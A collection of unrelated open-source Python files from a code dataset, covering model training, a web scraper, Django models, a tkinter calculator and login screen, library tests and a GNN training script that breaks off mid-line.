x.shape[0]\n\n keys = label_data.keys()\n keys.sort(key=int)\n\n for key in keys:\n n_cluster = int(key)\n model_directory = 'models/%s/%s/%s' % (uid, lbl_name, key)\n if not os.path.exists(model_directory):\n os.makedirs(model_directory)\n label = label_data[key]\n nProcess = 8\n if DEBUG:\n nProcess = 1\n n_cluster = 1\n lst_task = pp.getTaskSplit(n_cluster, nProcess)\n x_arr, y_arr, label_arr = pp.getSharedNumpy(x, y, label)\n mp = pp.MulProcess(train_one_model, lst_task, nProcess, model_directory, archi_fun, x_arr, y_arr, label_arr)\n mp.run(wait=0.1)\n\n\ndef train_one_model(task, mdl_dir, archi_fun, x_arr, y_arr, label_arr):\n \"\"\"Function run by a single process.\"\"\"\n x, y, label = pp.getNumpy(x_arr, y_arr, label_arr)\n n_data = x.shape[0]\n for i in range(task[0], task[1]):\n maski = i == label\n datai = {'x': x[maski], 'y': y[maski]}\n net = archi_fun(datai['x'].shape[0] / float(n_data))\n config = genTrainConfig(network=net, batch_size=64, test_batch_size=1024,\n outdir=mdl_dir, outname='model_%d_of_%s.pt' % (i, joinNumber(net)))\n trainOne(config, datai)\n\n\ndef gen_archi_fun(default_list, ratio, min_neuron):\n dimx, dimy = default_list[0], default_list[-1]\n n_layer = len(default_list)\n total_param = np.sum([default_list[i] * default_list[i + 1] for i in range(n_layer - 1)])\n if n_layer == 3: # only one hidden layer\n mid_num = int(ratio * default_list[1])\n if mid_num < min_neuron:\n mid_num = min_neuron\n return [dimx, mid_num, dimy]\n elif n_layer == 4:\n n_param = int(ratio * total_param)\n U = np.roots([1, dimx + dimy, -n_param])\n idx = 0 if U[0] > 0 else 1\n if U[idx] < min_neuron:\n use_n = min_neuron\n else:\n use_n = int(U[idx])\n return [dimx, use_n, use_n, dimy]\n else:\n print('Currently support up to 2 hidden layers')\n raise SystemExit\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"paperstiger/MoE-public","sub_path":"MoEBenchmark/train_models.py","file_name":"train_models.py","file_ext":"py","file_size_in_byte":7601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28782713865","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef scrape_text(url: str):\n # Send a GET request to the webpage\n try:\n response = requests.get(url, headers={\"User-Agent\": \"Mozilla/5.0\"})\n\n # Check if the request was successful\n if response.status_code == 200:\n # Parse the content of the request with BeautifulSoup\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n # Extract all text from the webpage\n page_text = soup.get_text(separator=\" \", strip=True)\n\n # Print the extracted text\n return page_text\n else:\n raise Exception(f\"Failed to retrieve the webpage: Status code {response.status_code}\")\n except Exception as e:\n print(e)\n raise Exception(f\"Failed to retrieve the webpage: {e}\")\n","repo_name":"dosuken123/research-app-demo","sub_path":"research_app/web_loader.py","file_name":"web_loader.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7214229300","text":"from datetime import datetime\n\nfrom django.contrib.auth import get_user_model\nfrom django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\n\nUser = get_user_model()\n\n\nclass Category(models.Model):\n name = models.CharField(\n max_length=256)\n slug = models.SlugField(\n max_length=50, unique=True)\n\n class Meta:\n ordering = ('pk',)\n verbose_name = 'категорию'\n verbose_name_plural = 'категории'\n\n def __str__(self):\n return self.name\n\n\nclass Genre(models.Model):\n name = models.CharField(\n max_length=256)\n slug = models.SlugField(\n max_length=50, unique=True)\n\n class Meta:\n ordering = ('pk',)\n verbose_name = 'жанр'\n verbose_name_plural = 'жанры'\n\n def __str__(self):\n return self.name\n\n\nclass Title(models.Model):\n name = models.CharField(\n max_length=256)\n year = models.PositiveSmallIntegerField(\n validators=(MaxValueValidator(datetime.now().year),))\n category = models.ForeignKey(\n Category, default=0, blank=True, null=True, on_delete=models.SET_NULL,\n related_name='titles')\n genre = models.ManyToManyField(\n Genre, related_name='titles', blank=True, through='TitlesGenre')\n description = models.TextField(blank=True)\n\n class Meta:\n ordering = ('pk',)\n verbose_name = 'произведение'\n verbose_name_plural = 'произведения'\n\n def __str__(self):\n return self.name\n\n\nclass TitlesGenre(models.Model):\n ADMIN_ZONE = False\n\n genre = models.ForeignKey(Genre, on_delete=models.CASCADE)\n title = models.ForeignKey(Title, on_delete=models.CASCADE)\n\n\nclass Review(models.Model):\n title = models.ForeignKey(\n Title,\n on_delete=models.CASCADE,\n related_name='reviews'\n )\n text = models.TextField(blank=False)\n author = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n related_name='reviews'\n )\n pub_date = models.DateTimeField(\n 'review date', auto_now_add=True\n )\n score = models.IntegerField(\n 'review score',\n validators=(MinValueValidator(1), MaxValueValidator(10))\n )\n\n class Meta:\n ordering = ('-pub_date',)\n verbose_name = 'ревью'\n verbose_name_plural = 'ревью'\n constraints = [\n models.UniqueConstraint(\n fields=('author', 'title'), name='unique review')\n ]\n\n\nclass Comment(models.Model):\n author = models.ForeignKey(\n User, on_delete=models.CASCADE, related_name='comments')\n review = models.ForeignKey(\n Review, on_delete=models.CASCADE, related_name='comments')\n text = models.TextField('comment text', blank=False)\n pub_date = models.DateTimeField(\n 'comment date', auto_now_add=True)\n\n class Meta:\n ordering = ('-pub_date',)\n verbose_name = 'комментарий'\n verbose_name_plural = 'комментарии'\n","repo_name":"cianoid/api_yamdb","sub_path":"api_yamdb/reviews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7194923103","text":"import json\nfrom sqlalchemy import Column, Integer, TEXT, Boolean, VARCHAR\nfrom sqlalchemy.sql.expression import column\nfrom app.blueprints.supervisor.models.shared import db\n\nclass Service(db.Model):\n __bind_key__ = \"supervisor_backend\"\n __tablename__ = \"services\"\n\n id = Column(\"id\", VARCHAR(11), primary_key=True)\n name = Column(\"name\", TEXT(), default=\"Untitled Service\")\n timestamp = Column(\"timestamp\", Integer(), default=0)\n mem = Column(\"ram_req\", Integer(), default=0)\n status = Column(\"status\", Boolean(), default=False)\n pid = Column(\"pid\", Integer(), default=-1)\n dir = Column(\"dir\", TEXT(), default=\"\")\n exec = Column(\"exec\", TEXT(), default=\"\")\n args = Column(\"args\", TEXT(), default=\"\")\n keep_alive = Column(\"keep_alive\", Boolean(), default=False)\n can_vote = Column(\"can_vote\", Boolean(), default=False)\n\n @classmethod\n def from_dict(cls, data):\n service = cls(\n id=data['id'],\n name=data[\"name\"],\n timestamp=data[\"timestamp\"],\n mem=data[\"mem\"],\n status=data[\"status\"],\n pid=data[\"pid\"],\n dir=data[\"dir\"],\n exec=data[\"exec\"],\n args=data[\"args\"],\n keep_alive=data[\"keep_alive\"],\n can_vote=data[\"can_vote\"]\n )\n return service\n\n\n def to_dict(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"timestamp\": self.timestamp,\n \"mem\": self.mem,\n \"status\": self.status,\n \"pid\": self.pid,\n \"dir\": self.dir,\n \"exec\": self.exec,\n \"args\": self.args,\n \"keep_alive\": self.keep_alive,\n \"can_vote\": self.can_vote\n }\n\n","repo_name":"ReignBit/ares-api-v2","sub_path":"app/blueprints/supervisor/models/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1698728694","text":"from django import template\nregister = template.Library()\n\n\n@register.filter\ndef basket_total_cost(basket):\n if len(basket) == 0:\n return 0\n else:\n total_cost = sum(list(map(lambda x: x.product.price*x.quantity, basket)))\n return total_cost\n\n\n@register.filter\ndef basket_total_quantity(basket):\n if len(basket) == 0:\n return 0\n else:\n total_quantity = sum(list(map(lambda x: x.quantity, basket)))\n return total_quantity\n\n","repo_name":"MariaAfanaseva/Django","sub_path":"mainapp/templatetags/custom_tags.py","file_name":"custom_tags.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7764493010","text":"import operator\n\n\ndef is_palindrome(n) -> bool:\n digits = str(n)\n return digits == digits[::-1]\n\n\ndef largest(min_factor, max_factor):\n \"\"\"Given a range of numbers, find the largest palindromes which\n are products of two numbers within that range.\n\n :param min_factor: int with a default value of 0\n :param max_factor: int\n :return: tuple of (palindrome, iterable).\n Iterable should contain both factors of the palindrome in an arbitrary order.\n \"\"\"\n return palindromes(range(max_factor, min_factor - 1, -1), operator.gt)\n\n\ndef smallest(min_factor, max_factor):\n \"\"\"Given a range of numbers, find the smallest palindromes which\n are products of two numbers within that range.\n\n :param min_factor: int with a default value of 0\n :param max_factor: int\n :return: tuple of (palindrome, iterable).\n Iterable should contain both factors of the palindrome in an arbitrary order.\n \"\"\"\n return palindromes(range(min_factor, max_factor + 1, +1), operator.lt)\n\n\ndef palindromes(range, comparator):\n if (range.start < range.stop - range.step) != (range.step > 0):\n raise ValueError(\"min must be <= max\")\n\n best, factors = None, []\n\n for left in range:\n improved = False\n for right in range:\n product = left * right\n if best is None or product == best or comparator(product, best):\n improved = True\n if is_palindrome(product):\n if best is None or comparator(product, best):\n factors = []\n best = product\n factors.append([left, right])\n if not improved:\n break\n\n return (best, factors)\n","repo_name":"chrisguidry/exercism","sub_path":"python/palindrome-products/palindrome_products.py","file_name":"palindrome_products.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16747826091","text":"#!/usr/bin/env python3\n\nimport tkinter as tk\nfrom tkinter import ttk\n\nwindow = tk.Tk()\nwindow.title(\"Calculator\")\nwindow.resizable(False, False)\noperand_1_value = '0'\noperand_2_value = ''\noperation_sign = ''\n\noperand_1_label = ttk.Label(window, text='0')\noperand_1_label.grid(column=1, row=0, columnspan=3, sticky='e')\n\noperand_2_label = ttk.Label(window, text='')\noperand_2_label.grid(column=1, row=1, columnspan=3, sticky='e')\n\noperation_sign_label = ttk.Label(window, text=operation_sign)\noperation_sign_label.grid(column=4, row=0, rowspan=2)\n\n\ndef append_digit(digit):\n global operand_1_value\n global operand_2_value\n if operand_2_value:\n operand_2_value += str(digit)\n operand_2_value = str(int(operand_2_value))\n operand_2_label.configure(text=operand_2_value)\n else:\n operand_1_value += str(digit)\n operand_1_value = str(int(operand_1_value))\n operand_1_label.configure(text=operand_1_value)\n\n\ndef click_operation_sign(op):\n global operation_sign_label\n global operation_sign\n global operand_2_value\n operation_sign = op\n operand_2_value = '0'\n operation_sign_label.configure(text=operation_sign)\n\n\ndef eval_operation():\n global operand_1_value\n global operand_2_value\n global operation_sign\n operand_1_value = str(eval(operand_1_value +\n operation_sign +\n operand_2_value))\n operand_2_value = ''\n operand_1_label.configure(text=operand_1_value)\n operand_2_label.configure(text=operand_2_value)\n\n\ndef click_clear():\n global operand_1_value\n global operand_2_value\n operand_1_value = '0'\n operand_2_value = ''\n operation_sign = ''\n operand_1_label.configure(text=operand_1_value)\n operand_2_label.configure(text=operand_2_value)\n operation_sign_label.configure(text=operation_sign)\n\n\ndef digit_buttons_gen(n):\n global digit_buttons\n digit_buttons[n] = ttk.Button(window,\n text=str(n),\n command=lambda: append_digit(n))\n return digit_buttons[n]\n\n\ndigit_buttons = list(range(10))\nfor i in range(10):\n digit_buttons_gen(i)\n\ndigit_buttons[0].grid(column=1, row=2)\ndigit_buttons[1].grid(column=2, row=2)\ndigit_buttons[2].grid(column=3, row=2)\ndigit_buttons[3].grid(column=1, row=3)\ndigit_buttons[4].grid(column=2, row=3)\ndigit_buttons[5].grid(column=3, row=3)\ndigit_buttons[6].grid(column=1, row=4)\ndigit_buttons[7].grid(column=2, row=4)\ndigit_buttons[8].grid(column=3, row=4)\ndigit_buttons[9].grid(column=1, row=5)\n\n\nbutton_mult = ttk.Button(window, text='*',\n command=lambda: click_operation_sign('*'))\nbutton_div = ttk.Button(window, text='/',\n command=lambda: click_operation_sign('/'))\nbutton_plus = ttk.Button(window, text='+',\n command=lambda: click_operation_sign('+'))\nbutton_minus = ttk.Button(window, text='-',\n command=lambda: click_operation_sign('-'))\nbutton_eq = ttk.Button(window, text='=',\n command=eval_operation)\nbutton_clear = ttk.Button(window, text='Clear',\n command=click_clear)\n\nbutton_mult.grid(column=2, row=5)\nbutton_div.grid(column=3, row=5)\nbutton_plus.grid(column=4, row=3)\nbutton_minus.grid(column=4, row=4)\nbutton_eq.grid(column=4, row=5)\nbutton_clear.grid(column=4, row=2)\n\n\nwindow.mainloop()\n","repo_name":"vensder/PyGUI","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2745727657","text":"import numpy as np\nimport pytest\n\nimport jax_utils\n\n\ndef test_metrics():\n names = ['a', 'b', 'c']\n m = jax_utils.Metrics.from_names(*names)\n assert list(m.names()) == names\n m = m.update(a=1.0, b=2.0)\n m = m.update(a=3.0, c=4.0)\n m = m.update(a=5.0)\n expected = {'a': (1. + 3. + 5.) / 3., 'b': 2., 'c': 4.}\n for name, value in m.items():\n assert np.isclose(value, expected[name])\n\n m = m.reset()\n assert list(m.names()) == names\n m = m.update(a=1.0, b=1.0, c=1.0)\n for name, value in m.items():\n assert np.isclose(value, 1.0)\n\n\ndef test_prng_seq():\n prng_seq = jax_utils.PRNGSeq(5)\n assert prng_seq.next().shape == (2,)\n assert next(prng_seq).shape == (2,)\n\n\ndef test_merge_nested_dicts():\n d1 = {'a': {'b': 1, 'c': [2, 3]}, 'd': 4}\n d2 = {'a': {'e': 6}, 'f': 7}\n d3 = {}\n d4 = {'g': 8}\n expected = {'a': {'b': 1, 'c': [2, 3], 'e': 6}, 'd': 4, 'f': 7, 'g': 8}\n assert jax_utils.merge_nested_dicts(d1, d2, d3, d4) == expected\n\n\ndef test_partition_nested_dict():\n left_keys = {('a', 'c'), ('d',)}\n d = {'a': {'b': 1, 'c': [2, 3], 'e': 6}, 'd': 4, 'f': 7, 'g': 8}\n left, right = jax_utils.partition_nested_dict(d, left_keys)\n assert left == {'a': {'c': [2, 3]}, 'd': 4}\n assert right == {'a': {'b': 1, 'e': 6}, 'f': 7, 'g': 8}\n\n\ndef test_lerp():\n a = np.ones((5, 6))\n b = np.full((5, 6), 2)\n out = jax_utils.lerp(a, b, 0.9)\n np.testing.assert_allclose(out, 1.9)\n\n\ndef test_assert_dtype():\n\n @jax_utils.assert_dtype\n def f(x, y):\n return (x + y).astype(np.int32)\n\n x = y = np.ones(1, dtype=np.int32)\n assert f(x, y) == 2\n x = y = np.ones(1, dtype=np.float16)\n with pytest.raises(AssertionError):\n f(x, y)\n","repo_name":"n2cholas/jax-utils","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"74933141974","text":"from __future__ import annotations\n\nimport functools\nfrom typing import Any\n\nfrom ..classes.diagraph_node import DiagraphNode\nfrom ..classes.types import Fn, FunctionErrorHandler, FunctionLogHandler, LogEventName\nfrom ..llm.llm import LLM\nfrom ..llm.openai_llm import OpenAI\nfrom .is_decorated import IS_DECORATED_KEY\n\n\nclass UserHandledException(Exception):\n def __init__(self, exception: Exception, raised_exception: Exception) -> None:\n self.exception = exception\n self.raised_exception = raised_exception\n\n\n__default_llm__: LLM | None = None\n\n\ndef set_default_llm(llm: None | LLM) -> None:\n global __default_llm__\n __default_llm__ = llm\n\n\ndef get_default_llm() -> LLM:\n global __default_llm__\n if __default_llm__ is None:\n __default_llm__ = OpenAI()\n return __default_llm__\n\n\ndef get_if_valid_llm(llm: Any) -> LLM:\n # TODO: Enable this\n # if isinstance(llm, LLM):\n # return llm\n # else:\n # raise Exception(\"The llm passed to @prompt is not a valid LLM object; ensure it is a subclass of LLM\")\n return llm\n\n\ndef get_llm(wrapper_fn) -> LLM:\n function_llm = getattr(wrapper_fn, \"__function_llm__\", None)\n if function_llm is not None:\n return get_if_valid_llm(function_llm)\n\n diagraph_llm = getattr(wrapper_fn, \"__diagraph_llm__\", None)\n if diagraph_llm is not None:\n return get_if_valid_llm(diagraph_llm)\n return get_default_llm()\n\n\ndef generate_prompt(func, *args, **kwargs) -> Any:\n # if inspect.iscoroutinefunction(func):\n # return await func(*args, **kwargs)\n # else:\n # return func(*args, **kwargs)\n return func(*args, **kwargs)\n\n\ndef decorate(prompt_fn, _func=None, **kwargs):\n def decorator(\n func: Fn,\n ): # -> _Wrapped[Callable[..., Any], Any, Callable[..., Any], Generator[Any | Literal[''] | None, Any, None]]:\n @functools.wraps(func)\n def wrapper_fn(*args, **kwargs) -> Any:\n return prompt_fn(wrapper_fn, func, *args, **kwargs)\n\n setattr(wrapper_fn, IS_DECORATED_KEY, True)\n wrapper_fn.__fn__ = func\n for key, value in kwargs.items():\n setattr(wrapper_fn, key, value)\n return wrapper_fn\n\n if _func is None:\n # Being called with arguments\n return decorator\n setattr(_func, IS_DECORATED_KEY, True)\n _decorator = decorator(_func)\n _decorator.__fn__ = _func\n return _decorator\n\n\ndef prompt(\n _func=None,\n *,\n log: FunctionLogHandler | None = None,\n llm: LLM | None = None,\n error: FunctionErrorHandler | None = None,\n):\n def prompt_fn(\n wrapper_fn,\n decorated_fn: Fn,\n node: DiagraphNode,\n *args,\n **kwargs,\n ) -> Any:\n llm = get_llm(wrapper_fn)\n diagraph_log = getattr(wrapper_fn, \"__diagraph_log__\", None)\n\n def _log(event: LogEventName, chunk: dict | None) -> None:\n if log:\n log(event, chunk)\n elif diagraph_log:\n diagraph_log(event, chunk)\n\n prompt = None\n try:\n prompt = node.prompt\n except Exception:\n pass\n if prompt is None:\n node.diagraph.__state__[(\"prompt\", node.key)] = generate_prompt(\n decorated_fn,\n *args,\n **kwargs,\n )\n\n return llm.run(node.prompt, log=_log)\n\n return decorate(prompt_fn, _func, __function_llm__=llm, __function_error__=error)\n","repo_name":"thekevinscott/Diagraph","sub_path":"packages/python/diagraph/decorators/prompt.py","file_name":"prompt.py","file_ext":"py","file_size_in_byte":3450,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"40785402468","text":"import tkinter\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nfrom tkinter import ttk\r\nfrom adminlogin import*\r\nfrom userlogin import*\r\nt=tkinter.Tk()#make tkinter\r\nimport pymysql\r\n\r\nt.geometry('1900x1900')\r\nc=Canvas(width=650,height=1000)\r\nc.place(x=0,y=0)\r\nbg4= PhotoImage(file='login.gif')\r\nlabel4 = Label(c, image = bg4)\r\nlabel4.place(x = 0, y = 0)\r\nbg5 = PhotoImage(file='user.gif')\r\nlabel5 = Label(c, image = bg5,width=200,height=200)\r\nlabel5.place(x = 100, y = 250)\r\nbg6 = PhotoImage(file='user.gif')\r\nlabel6 = Label(c, image = bg6,width=200,height=200)\r\nlabel6.place(x = 400, y = 250)\r\nb1=Button(c,text=\"Admin\",bg='gray',fg='white',font=('arial',14),width=18,height=2,command=Alogin)\r\nb1.place(x=100,y=460)\r\nb2=Button(c,text=\"User\",bg='gray',fg='white',font=('arial',14),width=18,height=2,command=userlogin)\r\nb2.place(x=400,y=460)\r\nt.mainloop()\r\n\r\n","repo_name":"VivekKumarGola/Institute-Management-System","sub_path":"loginpage.py","file_name":"loginpage.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72761741334","text":"import os.path as osp\nimport os\nimport matplotlib.pyplot as plt\nimport torch\nfrom torch_geometric.loader import DataLoader\nfrom torch.nn import BCEWithLogitsLoss, MSELoss, L1Loss\nimport wandb\nfrom tqdm import tqdm\nimport numpy as np\nimport time\nimport warnings\nwarnings.filterwarnings('ignore')\nfrom metrics import generate_score_metrics\nfrom dataset import *\nfrom model import *\n\ndef combine_loss(ga_loss, me_loss):\n me_loss /= 50\n return torch.vstack((ga_loss, me_loss))\n # return me_loss\n # return ga_loss\n\ndef descale_batch(out, batch_size, num_nodes, t_out, min_v, range_v):\n out = out.view(batch_size, num_nodes, t_out)\n for i in range(batch_size):\n for j in range(t_out):\n out[i, :, j] *= range_v\n out[i, :, j] += min_v\n \n if t_out == 1:\n return out.view(-1)\n else:\n return out.view(-1, t_out)\n\ndef test(model, device, loss_fn, test_set: Dataset, test_batch_size=64):\n print('start testing...')\n num_nodes, t_out = test_set[0].y.shape\n \n test_loader = DataLoader(test_set, batch_size=test_batch_size, shuffle=True, drop_last=True)\n model.eval()\n test_loss = np.zeros(t_out)\n loss_count = 0\n \n dtype = test_set.dtype\n \n test_score = generate_score_metrics(time_y=test_set.time_y, dtype=dtype)\n \n if dtype == 'combine':\n split_index = test_set[0].split_index\n \n if test_set.scale:\n min_v = test_set.min_v.to(device)\n range_v = test_set.range_v.to(device)\n \n for batch in tqdm(test_loader):\n with torch.no_grad():\n batch = batch.to(device)\n out = model(batch)\n \n if dtype == 'combine':\n ga_out = out[:split_index]\n ga_y = batch.y[:split_index]\n ga_loss = loss_fn[0](ga_out, ga_y)\n \n me_out = out[split_index:]\n me_y = batch.y[split_index:]\n me_loss = loss_fn[1](me_out, me_y)\n \n loss = combine_loss(ga_loss, me_loss)\n \n test_loss += loss.detach().cpu().mean(axis=0).numpy()\n loss_count += 1\n \n if test_set.scale:\n ga_out = descale_batch(ga_out, -1, split_index, t_out, min_v, range_v)\n ga_y = descale_batch(ga_y, -1, split_index, t_out, min_v, range_v)\n \n test_score[0].update(ga_y, ga_out)\n test_score[1].update(me_y, me_out)\n \n else:\n loss = loss_fn(out, batch.y).cpu().mean(axis=0).numpy()\n test_loss += loss\n loss_count += 1\n \n y = batch.y\n if test_set.scale:\n out = descale_batch(out, -1, num_nodes, t_out, min_v, range_v)\n y = descale_batch(batch.y, -1, num_nodes, t_out, min_v, range_v)\n test_score.update(y, out)\n \n test_loss /= loss_count\n loss_dict = {}\n for i, loss in enumerate(test_loss):\n loss_dict['test_loss_t_%d'%(i + 1)] = loss\n loss_dict['test_loss_avg'] = test_loss.mean()\n\n if dtype == 'combine':\n return loss_dict, test_score[0].score_dict() | test_score[1].score_dict()\n else:\n return loss_dict, test_score.score_dict()\n \ndef train(train_set: Dataset, test_set: Dataset, name='try', model_path=None, epochs=100, batch_size=32, test_batch_size=64, lr=0.01, resume=False):\n \n current_time = time.strftime('%Y-%m-%d-%H-%M-',time.localtime())\n folder = osp.join('runs', train_set.dtype, current_time + name)\n os.mkdir(folder)\n f = open(osp.join(folder, 'log.txt'), 'w', 1)\n f.write(current_time + '\\n')\n f.write('epochs: %d\\nbatch_size: %d\\nlr: %f\\n'%(epochs, batch_size, lr))\n f.write('train_set: %d\\ntest_set: %d\\n'%(len(train_set), len(test_set)))\n \n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n f.write('device: %s\\n' % device)\n \n num_nodes, t_in = train_set[0].x.shape\n t_out = train_set[0].y.shape[1]\n f.write('num_nodes: %d\\nt_in: %d\\nt_out: %d\\n'%(num_nodes, t_in, t_out))\n \n \n dtype = train_set.dtype\n if dtype == 'meter':\n loss_fn = BCEWithLogitsLoss(reduction='none')\n model = Graph_Meter(num_nodes, t_in, t_out).to(device)\n elif dtype == 'garage':\n loss_fn = L1Loss(reduction='none')\n model = Graph_Garage(num_nodes, t_in, t_out).to(device)\n elif dtype == 'combine':\n loss_fn = [L1Loss(reduction='none'), BCEWithLogitsLoss(reduction='none')]\n model = Graph_Meter(num_nodes, t_in, t_out).to(device)\n split_index = train_set[0].split_index\n \n if model_path is not None:\n model = torch.load(model_path)\n \n optimizer = torch.optim.Adam(model.parameters(), lr=lr, weight_decay=5e-4)\n \n period = 10\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=[i for i in range(epochs) if i % period == period - 1], gamma=0.5)\n \n \n f.write(str(model))\n f.write('\\n')\n f.write(str(optimizer))\n f.write('\\n')\n f.write(str(loss_fn))\n f.write('\\n')\n \n if resume:\n wandb.init(project=dtype, resume=True)\n else:\n wandb.init(project=dtype, name=name)\n # wandb.watch(model, log='all')\n \n if train_set.scale:\n min_v = train_set.min_v.to(device)\n range_v = train_set.range_v.to(device)\n \n for epoch in range(epochs):\n print('epoch:', epoch)\n print('start training...')\n train_loader = DataLoader(train_set, batch_size=batch_size, shuffle=True, drop_last=True)\n \n train_loss = np.zeros(t_out)\n loss_count = 0\n \n train_score = generate_score_metrics(time_y=train_set.time_y, dtype=dtype)\n \n model.train()\n \n for batch in tqdm(train_loader):\n optimizer.zero_grad()\n batch = batch.to(device)\n out = model(batch)\n \n if dtype == 'combine':\n \n ga_out = out[:split_index]\n ga_y = batch.y[:split_index]\n ga_loss = loss_fn[0](ga_out, ga_y)\n \n me_out = out[split_index:]\n me_y = batch.y[split_index:]\n me_loss = loss_fn[1](me_out, me_y)\n \n loss = combine_loss(ga_loss, me_loss)\n \n train_loss += loss.detach().cpu().mean(axis=0).numpy()\n loss_count += 1\n \n loss = loss.mean()\n loss.backward()\n optimizer.step()\n \n if train_set.scale:\n ga_out = descale_batch(ga_out, -1, split_index, t_out, min_v, range_v)\n ga_y = descale_batch(ga_y, -1, split_index, t_out, min_v, range_v)\n \n train_score[0].update(ga_y, ga_out)\n train_score[1].update(me_y, me_out)\n \n else:\n loss = loss_fn(out, batch.y)\n train_loss += loss.detach().cpu().mean(axis=0).numpy()\n loss_count += 1\n \n loss = loss.mean()\n loss.backward()\n optimizer.step()\n \n y = batch.y\n if train_set.scale:\n out = descale_batch(out, -1, num_nodes, t_out, min_v, range_v)\n y = descale_batch(y, -1, num_nodes, t_out, min_v, range_v)\n train_score.update(y, out)\n \n # adjust learning rate\n scheduler.step()\n \n train_loss /= loss_count\n loss_dict = {}\n for i, loss in enumerate(train_loss):\n loss_dict['train_loss_t_%d'%(i + 1)] = loss\n loss_dict['train_loss_avg'] = train_loss.mean()\n print(loss_dict)\n\n\n if dtype == 'combine':\n train_score_dict = train_score[0].score_dict() | train_score[1].score_dict()\n else:\n train_score_dict = train_score.score_dict() \n print(train_score_dict)\n \n test_loss_dict, test_score_dict = test(model, device, loss_fn, test_set, test_batch_size=test_batch_size)\n print(test_loss_dict)\n print(test_score_dict)\n \n losses = loss_dict | test_loss_dict\n f.write('epochs: %d\\t%s\\n'%(epoch, losses))\n f.write('train_score: %s\\n'%train_score_dict)\n f.write('test_score: %s\\n\\n'%test_score_dict)\n \n wandb_dict = losses | train_score_dict | test_score_dict\n wandb.log(wandb_dict)\n \n torch.save(model, osp.join(folder, 'model.pt'))\n \n f.close()\n\ndef baseline(dataset: Dataset, method='mean'):\n if dataset.dtype == 'meter':\n loss_fn = BCEWithLogitsLoss()\n elif dataset.dtype == 'garage':\n loss_fn = L1Loss()\n score = generate_score_metrics(time_y=dataset.time_y, dtype=dataset.dtype)\n \n # yesterday\n if method == 'yesterday':\n loss = 0.\n for j, today in enumerate(tqdm(dataset[288:])):\n yesterday = dataset[j - 288]\n loss += loss_fn(yesterday.y[:, 0], today.y[:, 0]).item()\n loss /= (len(dataset) - 288)\n print(print('loss_t_avg:', loss))\n return\n \n # else\n num_nodes, t_out = dataset[0].y.shape\n losses = np.zeros(t_out)\n for data in tqdm(dataset):\n if method == 'mean':\n x = data.x.mean(axis=1)\n elif method == 'last':\n x = data.x[:, -1]\n elif method == '1':\n x = torch.ones_like(data.y[:, 0])\n y = data.y\n new_x = torch.ones_like(y)\n for i in range(y.shape[1]):\n new_x[:, i] = x\n \n if dataset.scale:\n y = descale_batch(y, -1, num_nodes, t_out, dataset.min_v, dataset.range_v)\n new_x = descale_batch(new_x, -1, num_nodes, t_out, dataset.min_v, dataset.range_v)\n score.update(y, new_x)\n for i in range(t_out):\n losses[i] += loss_fn(x, y[:, i]).item()\n \n losses /= len(dataset)\n print(method)\n for i, loss in enumerate(losses):\n print('loss_t_%d:'%(i + 1), loss)\n print('loss_t_avg:', losses.mean())\n print(score.score_dict())\n \n \ndef test_dataset(model, test_set: Dataset):\n print('start dataset testing...')\n num_nodes, t_out = test_set[0].y.shape\n \n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n \n if type(model) == str:\n assert model in ('last', 'mean')\n else:\n model.eval()\n \n print(model)\n \n loss_matrix = np.zeros((len(test_set), num_nodes))\n \n dtype = test_set.dtype\n \n test_score = generate_score_metrics(time_y=test_set.time_y, dtype=dtype)\n \n if dtype == 'meter':\n loss_fn = BCEWithLogitsLoss(reduction='none')\n elif dtype == 'garage':\n loss_fn = MSELoss(reduction='none')\n elif dtype == 'combine':\n loss_fn = [MSELoss(reduction='none'), BCEWithLogitsLoss(reduction='none')]\n split_index = test_set[0].split_index\n \n if test_set.scale:\n min_v = test_set.min_v.to(device)\n range_v = test_set.range_v.to(device)\n \n for i, data in enumerate(tqdm(test_set)):\n with torch.no_grad():\n data = data.to(device)\n y = data.y\n \n # output\n if type(model) == str:\n if model == 'last':\n x = data.x[:, -1]\n elif model == 'mean':\n x = data.x.mean(axis=1)\n out = torch.ones_like(y)\n for j in range(y.shape[1]):\n out[:, j] = x\n else:\n out = model(data)\n \n # calculate loss\n if dtype == 'combine':\n ga_out = out[:split_index]\n ga_y = y[:split_index]\n ga_loss = loss_fn[0](ga_out, ga_y)\n \n me_out = out[split_index:]\n me_y = y[split_index:]\n me_loss = loss_fn[1](me_out, me_y)\n \n loss = torch.vstack((ga_loss, me_loss))\n \n loss = loss.detach().cpu().numpy()\n \n loss_matrix[i] = loss.mean(axis=1)\n \n if test_set.scale:\n ga_out = 